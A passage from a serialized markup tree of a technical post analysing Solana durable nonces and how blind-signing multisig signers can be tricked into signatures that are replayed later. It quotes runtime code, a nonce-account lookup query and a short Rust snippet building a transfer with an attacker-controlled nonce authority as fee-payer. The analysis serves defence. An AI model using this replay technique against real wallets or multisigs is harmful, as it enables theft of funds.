ype":21,"tag":198,"props":68624,"children":68625},{"style":683},[68626],{"type":27,"value":3174},{"type":21,"tag":198,"props":68628,"children":68629},{"style":249},[68630],{"type":27,"value":68631}," self\n",{"type":21,"tag":198,"props":68633,"children":68634},{"class":200,"line":344},[68635,68640,68645],{"type":21,"tag":198,"props":68636,"children":68637},{"style":683},[68638],{"type":27,"value":68639}," .",{"type":21,"tag":198,"props":68641,"children":68642},{"style":698},[68643],{"type":27,"value":68644},"check_load_and_advance_message_nonce_account",{"type":21,"tag":198,"props":68646,"children":68647},{"style":211},[68648],{"type":27,"value":4268},{"type":21,"tag":198,"props":68650,"children":68651},{"class":200,"line":365},[68652,68657,68661,68665],{"type":21,"tag":198,"props":68653,"children":68654},{"style":226},[68655],{"type":27,"value":68656}," tx",{"type":21,"tag":198,"props":68658,"children":68659},{"style":683},[68660],{"type":27,"value":658},{"type":21,"tag":198,"props":68662,"children":68663},{"style":698},[68664],{"type":27,"value":68416},{"type":21,"tag":198,"props":68666,"children":68667},{"style":211},[68668],{"type":27,"value":4296},{"type":21,"tag":198,"props":68670,"children":68671},{"class":200,"line":386},[68672,68677],{"type":21,"tag":198,"props":68673,"children":68674},{"style":226},[68675],{"type":27,"value":68676}," next_durable_nonce",{"type":21,"tag":198,"props":68678,"children":68679},{"style":211},[68680],{"type":27,"value":257},{"type":21,"tag":198,"props":68682,"children":68683},{"class":200,"line":408},[68684,68689],{"type":21,"tag":198,"props":68685,"children":68686},{"style":226},[68687],{"type":27,"value":68688}," next_lamports_per_signature",{"type":21,"tag":198,"props":68690,"children":68691},{"style":211},[68692],{"type":27,"value":257},{"type":21,"tag":198,"props":68694,"children":68695},{"class":200,"line":429},[68696],{"type":21,"tag":198,"props":68697,"children":68698},{"style":211},[68699],{"type":27,"value":68700}," )\n",{"type":21,"tag":198,"props":68702,"children":68703},{"class":200,"line":450},[68704],{"type":21,"tag":198,"props":68705,"children":68706},{"style":211},[68707],{"type":27,"value":29989},{"type":21,"tag":198,"props":68709,"children":68710},{"class":200,"line":468},[68711,68715,68719,68723],{"type":21,"tag":198,"props":68712,"children":68713},{"style":1966},[68714],{"type":27,"value":15616},{"type":21,"tag":198,"props":68716,"children":68717},{"style":211},[68718],{"type":27,"value":706},{"type":21,"tag":198,"props":68720,"children":68721},{"style":1966},[68722],{"type":27,"value":68515},{"type":21,"tag":198,"props":68724,"children":68725},{"style":211},[68726],{"type":27,"value":233},{"type":21,"tag":198,"props":68728,"children":68729},{"class":200,"line":477},[68730,68734,68738,68742,68746,68750],{"type":21,"tag":198,"props":68731,"children":68732},{"style":226},[68733],{"type":27,"value":68527},{"type":21,"tag":198,"props":68735,"children":68736},{"style":683},[68737],{"type":27,"value":185},{"type":21,"tag":198,"props":68739,"children":68740},{"style":1966},[68741],{"type":27,"value":28114},{"type":21,"tag":198,"props":68743,"children":68744},{"style":211},[68745],{"type":27,"value":706},{"type":21,"tag":198,"props":68747,"children":68748},{"style":226},[68749],{"type":27,"value":68609},{"type":21,"tag":198,"props":68751,"children":68752},{"style":211},[68753],{"type":27,"value":7548},{"type":21,"tag":198,"props":68755,"children":68756},{"class":200,"line":494},[68757,68761,68765,68770],{"type":21,"tag":198,"props":68758,"children":68759},{"style":226},[68760],{"type":27,"value":68547},{"type":21,"tag":198,"props":68762,"children":68763},{"style":683},[68764],{"type":27,"value":185},{"type":21,"tag":198,"props":68766,"children":68767},{"style":226},[68768],{"type":27,"value":68769}," previous_lamports_per_signature",{"type":21,"tag":198,"props":68771,"children":68772},{"style":211},[68773],{"type":27,"value":257},{"type":21,"tag":198,"props":68775,"children":68776},{"class":200,"line":515},[68777],{"type":21,"tag":198,"props":68778,"children":68779},{"style":211},[68780],{"type":27,"value":68577},{"type":21,"tag":198,"props":68782,"children":68783},{"class":200,"line":4484},[68784,68788,68792],{"type":21,"tag":198,"props":68785,"children":68786},{"style":211},[68787],{"type":27,"value":16582},{"type":21,"tag":198,"props":68789,"children":68790},{"style":640},[68791],{"type":27,"value":4122},{"type":21,"tag":198,"props":68793,"children":68794},{"style":211},[68795],{"type":27,"value":233},{"type":21,"tag":198,"props":68797,"children":68798},{"class":200,"line":4493},[68799,68804,68808,68813,68818,68822],{"type":21,"tag":198,"props":68800,"children":68801},{"style":226},[68802],{"type":27,"value":68803}," error_counters",{"type":21,"tag":198,"props":68805,"children":68806},{"style":683},[68807],{"type":27,"value":658},{"type":21,"tag":198,"props":68809,"children":68810},{"style":211},[68811],{"type":27,"value":68812},"blockhash_not_found ",{"type":21,"tag":198,"props":68814,"children":68815},{"style":683},[68816],{"type":27,"value":68817},"+=",{"type":21,"tag":198,"props":68819,"children":68820},{"style":2540},[68821],{"type":27,"value":5335},{"type":21,"tag":198,"props":68823,"children":68824},{"style":211},[68825],{"type":27,"value":1483},{"type":21,"tag":198,"props":68827,"children":68828},{"class":200,"line":4561},[68829,68833,68837,68842,68846,68851],{"type":21,"tag":198,"props":68830,"children":68831},{"style":1966},[68832],{"type":27,"value":15659},{"type":21,"tag":198,"props":68834,"children":68835},{"style":211},[68836],{"type":27,"value":706},{"type":21,"tag":198,"props":68838,"children":68839},{"style":1966},[68840],{"type":27,"value":68841},"TransactionError",{"type":21,"tag":198,"props":68843,"children":68844},{"style":683},[68845],{"type":27,"value":4286},{"type":21,"tag":198,"props":68847,"children":68848},{"style":1966},[68849],{"type":27,"value":68850},"BlockhashNotFound",{"type":21,"tag":198,"props":68852,"children":68853},{"style":211},[68854],{"type":27,"value":789},{"type":21,"tag":198,"props":68856,"children":68857},{"class":200,"line":4569},[68858],{"type":21,"tag":198,"props":68859,"children":68860},{"style":211},[68861],{"type":27,"value":880},{"type":21,"tag":30,"props":68863,"children":68864},{},[68865],{"type":27,"value":68866},"The documentation does a good job of explaining how they work.",{"type":21,"tag":3741,"props":68868,"children":68869},{},[68870],{"type":21,"tag":30,"props":68871,"children":68872},{},[68873],{"type":27,"value":68874},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":21,"tag":30,"props":68876,"children":68877},{},[68878,68880,68887],{"type":27,"value":68879},"Durable nonces are created and managed ",{"type":21,"tag":34,"props":68881,"children":68884},{"href":68882,"rel":68883},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[38],[68885],{"type":27,"value":68886},"by the system program",{"type":27,"value":68888},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":21,"tag":30,"props":68890,"children":68891},{},[68892,68894,68901],{"type":27,"value":68893},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":21,"tag":34,"props":68895,"children":68898},{"href":68896,"rel":68897},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[38],[68899],{"type":27,"value":68900},"based on the current blockhash",{"type":27,"value":68902},", and cannot be predicted in advance.",{"type":21,"tag":187,"props":68904,"children":68906},{"className":3789,"code":68905,"language":3788,"meta":7,"style":7}," let hash_queue = self.blockhash_queue.read().unwrap();\n let last_blockhash = hash_queue.last_hash();\n let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[68907],{"type":21,"tag":194,"props":68908,"children":68909},{"__ignoreMap":7},[68910,68962,68995],{"type":21,"tag":198,"props":68911,"children":68912},{"class":200,"line":201},[68913,68917,68921,68925,68929,68933,68938,68942,68946,68950,68954,68958],{"type":21,"tag":198,"props":68914,"children":68915},{"style":249},[68916],{"type":27,"value":3809},{"type":21,"tag":198,"props":68918,"children":68919},{"style":226},[68920],{"type":27,"value":68470},{"type":21,"tag":198,"props":68922,"children":68923},{"style":683},[68924],{"type":27,"value":979},{"type":21,"tag":198,"props":68926,"children":68927},{"style":249},[68928],{"type":27,"value":14604},{"type":21,"tag":198,"props":68930,"children":68931},{"style":683},[68932],{"type":27,"value":658},{"type":21,"tag":198,"props":68934,"children":68935},{"style":211},[68936],{"type":27,"value":68937},"blockhash_queue",{"type":21,"tag":198,"props":68939,"children":68940},{"style":683},[68941],{"type":27,"value":658},{"type":21,"tag":198,"props":68943,"children":68944},{"style":698},[68945],{"type":27,"value":61018},{"type":21,"tag":198,"props":68947,"children":68948},{"style":211},[68949],{"type":27,"value":14686},{"type":21,"tag":198,"props":68951,"children":68952},{"style":683},[68953],{"type":27,"value":658},{"type":21,"tag":198,"props":68955,"children":68956},{"style":698},[68957],{"type":27,"value":4470},{"type":21,"tag":198,"props":68959,"children":68960},{"style":211},[68961],{"type":27,"value":3404},{"type":21,"tag":198,"props":68963,"children":68964},{"class":200,"line":217},[68965,68969,68974,68978,68982,68986,68991],{"type":21,"tag":198,"props":68966,"children":68967},{"style":249},[68968],{"type":27,"value":3809},{"type":21,"tag":198,"props":68970,"children":68971},{"style":226},[68972],{"type":27,"value":68973}," last_blockhash",{"type":21,"tag":198,"props":68975,"children":68976},{"style":683},[68977],{"type":27,"value":979},{"type":21,"tag":198,"props":68979,"children":68980},{"style":226},[68981],{"type":27,"value":68470},{"type":21,"tag":198,"props":68983,"children":68984},{"style":683},[68985],{"type":27,"value":658},{"type":21,"tag":198,"props":68987,"children":68988},{"style":698},[68989],{"type":27,"value":68990},"last_hash",{"type":21,"tag":198,"props":68992,"children":68993},{"style":211},[68994],{"type":27,"value":3404},{"type":21,"tag":198,"props":68996,"children":68997},{"class":200,"line":236},[68998,69002,69007,69011,69016,69020,69025,69029,69033,69038],{"type":21,"tag":198,"props":68999,"children":69000},{"style":249},[69001],{"type":27,"value":3809},{"type":21,"tag":198,"props":69003,"children":69004},{"style":226},[69005],{"type":27,"value":69006}," next_durable_nonce",{"type":21,"tag":198,"props":69008,"children":69009},{"style":683},[69010],{"type":27,"value":979},{"type":21,"tag":198,"props":69012,"children":69013},{"style":1966},[69014],{"type":27,"value":69015}," DurableNonce",{"type":21,"tag":198,"props":69017,"children":69018},{"style":683},[69019],{"type":27,"value":4286},{"type":21,"tag":198,"props":69021,"children":69022},{"style":698},[69023],{"type":27,"value":69024},"from_blockhash",{"type":21,"tag":198,"props":69026,"children":69027},{"style":211},[69028],{"type":27,"value":706},{"type":21,"tag":198,"props":69030,"children":69031},{"style":683},[69032],{"type":27,"value":3917},{"type":21,"tag":198,"props":69034,"children":69035},{"style":226},[69036],{"type":27,"value":69037},"last_blockhash",{"type":21,"tag":198,"props":69039,"children":69040},{"style":211},[69041],{"type":27,"value":1470},{"type":21,"tag":30,"props":69043,"children":69044},{},[69045,69047,69052],{"type":27,"value":69046},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":21,"tag":1671,"props":69048,"children":69049},{},[69050],{"type":27,"value":69051},"can",{"type":27,"value":69053}," be saved and reused.",{"type":21,"tag":22,"props":69055,"children":69057},{"id":69056},"threat-model",[69058],{"type":27,"value":69059},"Threat Model",{"type":21,"tag":30,"props":69061,"children":69062},{},[69063],{"type":27,"value":69064},"Let's consider a simplified form of the original question.",{"type":21,"tag":71,"props":69066,"children":69067},{},[69068,69073,69078],{"type":21,"tag":75,"props":69069,"children":69070},{},[69071],{"type":27,"value":69072},"We have a N/M multisig",{"type":21,"tag":75,"props":69074,"children":69075},{},[69076],{"type":27,"value":69077},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":21,"tag":75,"props":69079,"children":69080},{},[69081],{"type":27,"value":69082},"We can accurately query chain state.",{"type":21,"tag":30,"props":69084,"children":69085},{},[69086],{"type":27,"value":69087},"Can we safely sign transactions?",{"type":21,"tag":30,"props":69089,"children":69090},{},[69091],{"type":27,"value":69092},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":21,"tag":30,"props":69094,"children":69095},{},[69096,69098,69104,69106,69113],{"type":27,"value":69097},"Durable nonces require an onchain account, and it's possible to use a ",{"type":21,"tag":194,"props":69099,"children":69101},{"className":69100},[],[69102],{"type":27,"value":69103},"getProgramAccounts",{"type":27,"value":69105}," call to validate if your signer ",{"type":21,"tag":34,"props":69107,"children":69110},{"href":69108,"rel":69109},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[38],[69111],{"type":27,"value":69112},"has an associated durable nonce",{"type":27,"value":658},{"type":21,"tag":187,"props":69115,"children":69117},{"className":36704,"code":69116,"language":36706,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n // The system program owns all nonce accounts.\n SYSTEM_PROGRAM_ADDRESS,\n {\n filters: [\n {\n // Nonce accounts are exactly 80 bytes long\n dataSize: 80,\n },\n {\n // The authority's 32-byte public key is written\n // into bytes 8-40 of the nonce's account data.\n memcmp: {\n bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n offset: 8,\n },\n },\n ],\n }\n);\n",[69118],{"type":21,"tag":194,"props":69119,"children":69120},{"__ignoreMap":7},[69121,69168,69204,69212,69224,69232,69244,69252,69260,69277,69284,69291,69299,69307,69319,69345,69362,69369,69376,69384,69391],{"type":21,"tag":198,"props":69122,"children":69123},{"class":200,"line":201},[69124,69128,69133,69137,69141,69146,69150,69155,69159,69164],{"type":21,"tag":198,"props":69125,"children":69126},{"style":249},[69127],{"type":27,"value":2648},{"type":21,"tag":198,"props":69129,"children":69130},{"style":226},[69131],{"type":27,"value":69132}," connection",{"type":21,"tag":198,"props":69134,"children":69135},{"style":683},[69136],{"type":27,"value":979},{"type":21,"tag":198,"props":69138,"children":69139},{"style":249},[69140],{"type":27,"value":737},{"type":21,"tag":198,"props":69142,"children":69143},{"style":698},[69144],{"type":27,"value":69145}," Connection",{"type":21,"tag":198,"props":69147,"children":69148},{"style":211},[69149],{"type":27,"value":706},{"type":21,"tag":198,"props":69151,"children":69152},{"style":698},[69153],{"type":27,"value":69154},"clusterApiUrl",{"type":21,"tag":198,"props":69156,"children":69157},{"style":211},[69158],{"type":27,"value":706},{"type":21,"tag":198,"props":69160,"children":69161},{"style":205},[69162],{"type":27,"value":69163},"'testnet'",{"type":21,"tag":198,"props":69165,"children":69166},{"style":211},[69167],{"type":27,"value":8035},{"type":21,"tag":198,"props":69169,"children":69170},{"class":200,"line":217},[69171,69175,69180,69184,69188,69192,69196,69200],{"type":21,"tag":198,"props":69172,"children":69173},{"style":249},[69174],{"type":27,"value":2648},{"type":21,"tag":198,"props":69176,"children":69177},{"style":226},[69178],{"type":27,"value":69179}," nonceAccounts",{"type":21,"tag":198,"props":69181,"children":69182},{"style":683},[69183],{"type":27,"value":979},{"type":21,"tag":198,"props":69185,"children":69186},{"style":640},[69187],{"type":27,"value":36983},{"type":21,"tag":198,"props":69189,"children":69190},{"style":226},[69191],{"type":27,"value":69132},{"type":21,"tag":198,"props":69193,"children":69194},{"style":211},[69195],{"type":27,"value":658},{"type":21,"tag":198,"props":69197,"children":69198},{"style":698},[69199],{"type":27,"value":69103},{"type":21,"tag":198,"props":69201,"children":69202},{"style":211},[69203],{"type":27,"value":4268},{"type":21,"tag":198,"props":69205,"children":69206},{"class":200,"line":236},[69207],{"type":21,"tag":198,"props":69208,"children":69209},{"style":1233},[69210],{"type":27,"value":69211}," // The system program owns all nonce accounts.\n",{"type":21,"tag":198,"props":69213,"children":69214},{"class":200,"line":260},[69215,69220],{"type":21,"tag":198,"props":69216,"children":69217},{"style":226},[69218],{"type":27,"value":69219}," SYSTEM_PROGRAM_ADDRESS",{"type":21,"tag":198,"props":69221,"children":69222},{"style":211},[69223],{"type":27,"value":257},{"type":21,"tag":198,"props":69225,"children":69226},{"class":200,"line":281},[69227],{"type":21,"tag":198,"props":69228,"children":69229},{"style":211},[69230],{"type":27,"value":69231}," {\n",{"type":21,"tag":198,"props":69233,"children":69234},{"class":200,"line":302},[69235,69240],{"type":21,"tag":198,"props":69236,"children":69237},{"style":226},[69238],{"type":27,"value":69239}," filters:",{"type":21,"tag":198,"props":69241,"children":69242},{"style":211},[69243],{"type":27,"value":26425},{"type":21,"tag":198,"props":69245,"children":69246},{"class":200,"line":323},[69247],{"type":21,"tag":198,"props":69248,"children":69249},{"style":211},[69250],{"type":27,"value":69251}," {\n",{"type":21,"tag":198,"props":69253,"children":69254},{"class":200,"line":344},[69255],{"type":21,"tag":198,"props":69256,"children":69257},{"style":1233},[69258],{"type":27,"value":69259}," // Nonce accounts are exactly 80 bytes long\n",{"type":21,"tag":198,"props":69261,"children":69262},{"class":200,"line":365},[69263,69268,69273],{"type":21,"tag":198,"props":69264,"children":69265},{"style":226},[69266],{"type":27,"value":69267}," dataSize:",{"type":21,"tag":198,"props":69269,"children":69270},{"style":2540},[69271],{"type":27,"value":69272}," 80",{"type":21,"tag":198,"props":69274,"children":69275},{"style":211},[69276],{"type":27,"value":257},{"type":21,"tag":198,"props":69278,"children":69279},{"class":200,"line":386},[69280],{"type":21,"tag":198,"props":69281,"children":69282},{"style":211},[69283],{"type":27,"value":474},{"type":21,"tag":198,"props":69285,"children":69286},{"class":200,"line":408},[69287],{"type":21,"tag":198,"props":69288,"children":69289},{"style":211},[69290],{"type":27,"value":69251},{"type":21,"tag":198,"props":69292,"children":69293},{"class":200,"line":429},[69294],{"type":21,"tag":198,"props":69295,"children":69296},{"style":1233},[69297],{"type":27,"value":69298}," // The authority's 32-byte public key is written\n",{"type":21,"tag":198,"props":69300,"children":69301},{"class":200,"line":450},[69302],{"type":21,"tag":198,"props":69303,"children":69304},{"style":1233},[69305],{"type":27,"value":69306}," // into bytes 8-40 of the nonce's account data.\n",{"type":21,"tag":198,"props":69308,"children":69309},{"class":200,"line":468},[69310,69315],{"type":21,"tag":198,"props":69311,"children":69312},{"style":226},[69313],{"type":27,"value":69314}," memcmp:",{"type":21,"tag":198,"props":69316,"children":69317},{"style":211},[69318],{"type":27,"value":233},{"type":21,"tag":198,"props":69320,"children":69321},{"class":200,"line":477},[69322,69327,69332,69336,69341],{"type":21,"tag":198,"props":69323,"children":69324},{"style":226},[69325],{"type":27,"value":69326}," bytes:",{"type":21,"tag":198,"props":69328,"children":69329},{"style":226},[69330],{"type":27,"value":69331}," AUTHORITY_PUBLIC_KEY",{"type":21,"tag":198,"props":69333,"children":69334},{"style":211},[69335],{"type":27,"value":658},{"type":21,"tag":198,"props":69337,"children":69338},{"style":698},[69339],{"type":27,"value":69340},"toBase58",{"type":21,"tag":198,"props":69342,"children":69343},{"style":211},[69344],{"type":27,"value":4296},{"type":21,"tag":198,"props":69346,"children":69347},{"class":200,"line":494},[69348,69353,69358],{"type":21,"tag":198,"props":69349,"children":69350},{"style":226},[69351],{"type":27,"value":69352}," offset:",{"type":21,"tag":198,"props":69354,"children":69355},{"style":2540},[69356],{"type":27,"value":69357}," 8",{"type":21,"tag":198,"props":69359,"children":69360},{"style":211},[69361],{"type":27,"value":257},{"type":21,"tag":198,"props":69363,"children":69364},{"class":200,"line":515},[69365],{"type":21,"tag":198,"props":69366,"children":69367},{"style":211},[69368],{"type":27,"value":26178},{"type":21,"tag":198,"props":69370,"children":69371},{"class":200,"line":4484},[69372],{"type":21,"tag":198,"props":69373,"children":69374},{"style":211},[69375],{"type":27,"value":474},{"type":21,"tag":198,"props":69377,"children":69378},{"class":200,"line":4493},[69379],{"type":21,"tag":198,"props":69380,"children":69381},{"style":211},[69382],{"type":27,"value":69383}," ],\n",{"type":21,"tag":198,"props":69385,"children":69386},{"class":200,"line":4561},[69387],{"type":21,"tag":198,"props":69388,"children":69389},{"style":211},[69390],{"type":27,"value":2249},{"type":21,"tag":198,"props":69392,"children":69393},{"class":200,"line":4569},[69394],{"type":21,"tag":198,"props":69395,"children":69396},{"style":211},[69397],{"type":27,"value":1470},{"type":21,"tag":30,"props":69399,"children":69400},{},[69401,69403,69411],{"type":27,"value":69402},"Unfortunately this is not sufficient",{"type":21,"tag":123,"props":69404,"children":69405},{},[69406],{"type":21,"tag":34,"props":69407,"children":69409},{"href":128,"ariaDescribedBy":69408,"dataFootnoteRef":7,"id":131},[130],[69410],{"type":27,"value":134},{"type":27,"value":69412},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":21,"tag":187,"props":69414,"children":69416},{"className":3789,"code":69415,"language":3788,"meta":7,"style":7}," let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n let message =\n Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n .serialize();\n",[69417],{"type":21,"tag":194,"props":69418,"children":69419},{"__ignoreMap":7},[69420,69486,69502,69585],{"type":21,"tag":198,"props":69421,"children":69422},{"class":200,"line":201},[69423,69427,69431,69435,69440,69444,69448,69452,69456,69460,69464,69468,69473,69477,69482],{"type":21,"tag":198,"props":69424,"children":69425},{"style":249},[69426],{"type":27,"value":3809},{"type":21,"tag":198,"props":69428,"children":69429},{"style":226},[69430],{"type":27,"value":44125},{"type":21,"tag":198,"props":69432,"children":69433},{"style":683},[69434],{"type":27,"value":979},{"type":21,"tag":198,"props":69436,"children":69437},{"style":211},[69438],{"type":27,"value":69439}," system_instruction",{"type":21,"tag":198,"props":69441,"children":69442},{"style":683},[69443],{"type":27,"value":4286},{"type":21,"tag":198,"props":69445,"children":69446},{"style":698},[69447],{"type":27,"value":32909},{"type":21,"tag":198,"props":69449,"children":69450},{"style":211},[69451],{"type":27,"value":706},{"type":21,"tag":198,"props":69453,"children":69454},{"style":683},[69455],{"type":27,"value":3917},{"type":21,"tag":198,"props":69457,"children":69458},{"style":226},[69459],{"type":27,"value":20268},{"type":21,"tag":198,"props":69461,"children":69462},{"style":211},[69463],{"type":27,"value":828},{"type":21,"tag":198,"props":69465,"children":69466},{"style":683},[69467],{"type":27,"value":3917},{"type":21,"tag":198,"props":69469,"children":69470},{"style":226},[69471],{"type":27,"value":69472},"ledger_base_pubkey",{"type":21,"tag":198,"props":69474,"children":69475},{"style":211},[69476],{"type":27,"value":828},{"type":21,"tag":198,"props":69478,"children":69479},{"style":2540},[69480],{"type":27,"value":69481},"42",{"type":21,"tag":198,"props":69483,"children":69484},{"style":211},[69485],{"type":27,"value":1470},{"type":21,"tag":198,"props":69487,"children":69488},{"class":200,"line":217},[69489,69493,69498],{"type":21,"tag":198,"props":69490,"children":69491},{"style":249},[69492],{"type":27,"value":3809},{"type":21,"tag":198,"props":69494,"children":69495},{"style":226},[69496],{"type":27,"value":69497}," message",{"type":21,"tag":198,"props":69499,"children":69500},{"style":683},[69501],{"type":27,"value":36629},{"type":21,"tag":198,"props":69503,"children":69504},{"class":200,"line":236},[69505,69510,69514,69519,69523,69527,69531,69535,69539,69543,69547,69551,69556,69560,69564,69569,69573,69577,69581],{"type":21,"tag":198,"props":69506,"children":69507},{"style":1966},[69508],{"type":27,"value":69509}," Message",{"type":21,"tag":198,"props":69511,"children":69512},{"style":683},[69513],{"type":27,"value":4286},{"type":21,"tag":198,"props":69515,"children":69516},{"style":698},[69517],{"type":27,"value":69518},"new_with_nonce",{"type":21,"tag":198,"props":69520,"children":69521},{"style":211},[69522],{"type":27,"value":706},{"type":21,"tag":198,"props":69524,"children":69525},{"style":698},[69526],{"type":27,"value":4687},{"type":21,"tag":198,"props":69528,"children":69529},{"style":211},[69530],{"type":27,"value":2051},{"type":21,"tag":198,"props":69532,"children":69533},{"style":226},[69534],{"type":27,"value":44435},{"type":21,"tag":198,"props":69536,"children":69537},{"style":211},[69538],{"type":27,"value":23853},{"type":21,"tag":198,"props":69540,"children":69541},{"style":1966},[69542],{"type":27,"value":42774},{"type":21,"tag":198,"props":69544,"children":69545},{"style":211},[69546],{"type":27,"value":706},{"type":21,"tag":198,"props":69548,"children":69549},{"style":683},[69550],{"type":27,"value":3917},{"type":21,"tag":198,"props":69552,"children":69553},{"style":226},[69554],{"type":27,"value":69555},"evil_nonce_authority",{"type":21,"tag":198,"props":69557,"children":69558},{"style":211},[69559],{"type":27,"value":15982},{"type":21,"tag":198,"props":69561,"children":69562},{"style":683},[69563],{"type":27,"value":3917},{"type":21,"tag":198,"props":69565,"children":69566},{"style":226},[69567],{"type":27,"value":69568},"nonce_account",{"type":21,"tag":198,"props":69570,"children":69571},{"style":211},[69572],{"type":27,"value":828},{"type":21,"tag":198,"props":69574,"children":69575},{"style":683},[69576],{"type":27,"value":3917},{"type":21,"tag":198,"props":69578,"children":69579},{"style":226},[69580],{"type":27,"value":69555},{"type":21,"tag":198,"props":69582,"children":69583},{"style":211},[69584],{"type":27,"value":789},{"type":21,"tag":198,"props":69586,"children":69587},{"class":200,"line":260},[69588,69592,69597],{"type":21,"tag":198,"props":69589,"children":69590},{"style":683},[69591],{"type":27,"value":3974},{"type":21,"tag":198,"props":69593,"children":69594},{"style":698},[69595],{"type":27,"value":69596},"serialize",{"type":21,"tag":198,"props":69598,"children":69599},{"style":211},[69600],{"type":27,"value":3404},{"type":21,"tag":30,"props":69602,"children":69603},{},[69604,69606,69613],{"type":27,"value":69605},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":21,"tag":34,"props":69607,"children":69610},{"href":69608,"rel":69609},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[38],[69611],{"type":27,"value":69612},"logs the fee-payer here",{"type":27,"value":658},{"type":21,"tag":187,"props":69615,"children":69617},{"className":17318,"code":69616,"language":3954,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[69618],{"type":21,"tag":194,"props":69619,"children":69620},{"__ignoreMap":7},[69621,69680,69736],{"type":21,"tag":198,"props":69622,"children":69623},{"class":200,"line":201},[69624,69628,69633,69637,69641,69646,69650,69655,69659,69663,69667,69671,69676],{"type":21,"tag":198,"props":69625,"children":69626},{"style":249},[69627],{"type":27,"value":30486},{"type":21,"tag":198,"props":69629,"children":69630},{"style":698},[69631],{"type":27,"value":69632}," print_config_show_authority",{"type":21,"tag":198,"props":69634,"children":69635},{"style":211},[69636],{"type":27,"value":706},{"type":21,"tag":198,"props":69638,"children":69639},{"style":249},[69640],{"type":27,"value":2648},{"type":21,"tag":198,"props":69642,"children":69643},{"style":211},[69644],{"type":27,"value":69645}," PrintConfig",{"type":21,"tag":198,"props":69647,"children":69648},{"style":683},[69649],{"type":27,"value":5383},{"type":21,"tag":198,"props":69651,"children":69652},{"style":226},[69653],{"type":27,"value":69654}," print_config",{"type":21,"tag":198,"props":69656,"children":69657},{"style":211},[69658],{"type":27,"value":828},{"type":21,"tag":198,"props":69660,"children":69661},{"style":249},[69662],{"type":27,"value":2648},{"type":21,"tag":198,"props":69664,"children":69665},{"style":211},[69666],{"type":27,"value":21650},{"type":21,"tag":198,"props":69668,"children":69669},{"style":683},[69670],{"type":27,"value":5383},{"type":21,"tag":198,"props":69672,"children":69673},{"style":226},[69674],{"type":27,"value":69675}," authority",{"type":21,"tag":198,"props":69677,"children":69678},{"style":211},[69679],{"type":27,"value":668},{"type":21,"tag":198,"props":69681,"children":69682},{"class":200,"line":217},[69683,69687,69691,69695,69700,69704,69708,69713,69717,69722,69726,69731],{"type":21,"tag":198,"props":69684,"children":69685},{"style":640},[69686],{"type":27,"value":1478},{"type":21,"tag":198,"props":69688,"children":69689},{"style":226},[69690],{"type":27,"value":69654},{"type":21,"tag":198,"props":69692,"children":69693},{"style":211},[69694],{"type":27,"value":14564},{"type":21,"tag":198,"props":69696,"children":69697},{"style":226},[69698],{"type":27,"value":69699},"expert_mode",{"type":21,"tag":198,"props":69701,"children":69702},{"style":683},[69703],{"type":27,"value":24501},{"type":21,"tag":198,"props":69705,"children":69706},{"style":683},[69707],{"type":27,"value":13670},{"type":21,"tag":198,"props":69709,"children":69710},{"style":698},[69711],{"type":27,"value":69712},"pubkeys_equal",{"type":21,"tag":198,"props":69714,"children":69715},{"style":211},[69716],{"type":27,"value":706},{"type":21,"tag":198,"props":69718,"children":69719},{"style":226},[69720],{"type":27,"value":69721},"print_config",{"type":21,"tag":198,"props":69723,"children":69724},{"style":211},[69725],{"type":27,"value":14564},{"type":21,"tag":198,"props":69727,"children":69728},{"style":226},[69729],{"type":27,"value":69730},"signer_pubkey",{"type":21,"tag":198,"props":69732,"children":69733},{"style":211},[69734],{"type":27,"value":69735},", authority);\n",{"type":21,"tag":198,"props":69737,"children":69738},{"class":200,"line":236},[69739],{"type":21,"tag":198,"props":69740,"children":69741},{"style":211},[69742],{"type":27,"value":1120},{"type":21,"tag":30,"props":69744,"children":69745},{},[69746],{"type":27,"value":69747},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":21,"tag":30,"props":69749,"children":69750},{},[69751],{"type":27,"value":69752},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":21,"tag":30,"props":69754,"children":69755},{},[69756],{"type":27,"value":69757},"We can then use the following procedure.",{"type":21,"tag":71,"props":69759,"children":69760},{},[69761,69766,69771,69776,69781],{"type":21,"tag":75,"props":69762,"children":69763},{},[69764],{"type":27,"value":69765},"Ensure all signers have no durable nonce accounts.",{"type":21,"tag":75,"props":69767,"children":69768},{},[69769],{"type":27,"value":69770},"The first signer signs and submits the transaction.",{"type":21,"tag":75,"props":69772,"children":69773},{},[69774],{"type":27,"value":69775},"Wait two minutes for all recent blockhashes to 